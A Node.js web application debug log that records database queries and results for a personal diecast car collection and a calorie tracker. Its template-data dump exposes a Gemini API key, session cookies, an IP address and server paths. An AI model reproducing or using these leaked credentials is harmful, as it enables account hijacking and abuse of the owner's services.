  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-12T13:40:02.625Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-12T13:40:02.625Z server-connect:app Executing action step select
2025-12-12T13:40:02.626Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-12T13:40:02.627Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-12T13:40:02.627Z server-connect:app Executing action step select
2025-12-12T13:40:02.627Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-12T13:40:02.628Z server-connect:output restrict: undefined
2025-12-12T13:40:02.628Z server-connect:app Executing action step paged
2025-12-12T13:40:02.629Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-12T13:40:02.641Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-12T13:40:02.654Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-12T13:40:08.699Z server-connect:router Serving templateView /calorie-tracker
2025-12-12T13:40:08.700Z server-connect:app Executing action step identify
2025-12-12T13:40:08.700Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:08.700Z server-connect:output identity: 1
2025-12-12T13:40:08.700Z server-connect:app Executing action step restrict
2025-12-12T13:40:08.700Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:40:08.701Z server-connect:output restrict: undefined
2025-12-12T13:40:08.701Z server-connect:router Render template calorie-tracker
2025-12-12T13:40:08.702Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:39:54.577Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T13:40:08.913Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-12T13:40:08.914Z server-connect:app Executing action step identify
2025-12-12T13:40:08.914Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:08.914Z server-connect:output identity: 1
2025-12-12T13:40:08.914Z server-connect:app Executing action step restrict
2025-12-12T13:40:08.914Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:08.915Z server-connect:output restrict: undefined
2025-12-12T13:40:08.915Z server-connect:app Executing action step single
2025-12-12T13:40:08.915Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-12T13:40:08.918Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-12T13:40:08.918Z server-connect:app Executing action step select
2025-12-12T13:40:08.918Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-12T13:40:08.920Z server-connect:output item_list: []
2025-12-12T13:40:08.921Z server-connect:app Executing action step setvalue
2025-12-12T13:40:08.921Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-12T13:40:08.921Z server-connect:output var_total: 0
2025-12-12T13:40:08.921Z server-connect:app Executing action step setvalue
2025-12-12T13:40:08.921Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-12T13:40:08.922Z server-connect:output var_consumed: 0
2025-12-12T13:40:08.922Z server-connect:app Executing action step setvalue
2025-12-12T13:40:08.922Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-12T13:40:08.922Z server-connect:output var_deficit: 2400
2025-12-12T13:40:08.922Z server-connect:app Executing action step custom
2025-12-12T13:40:08.923Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-12T13:40:08.924Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
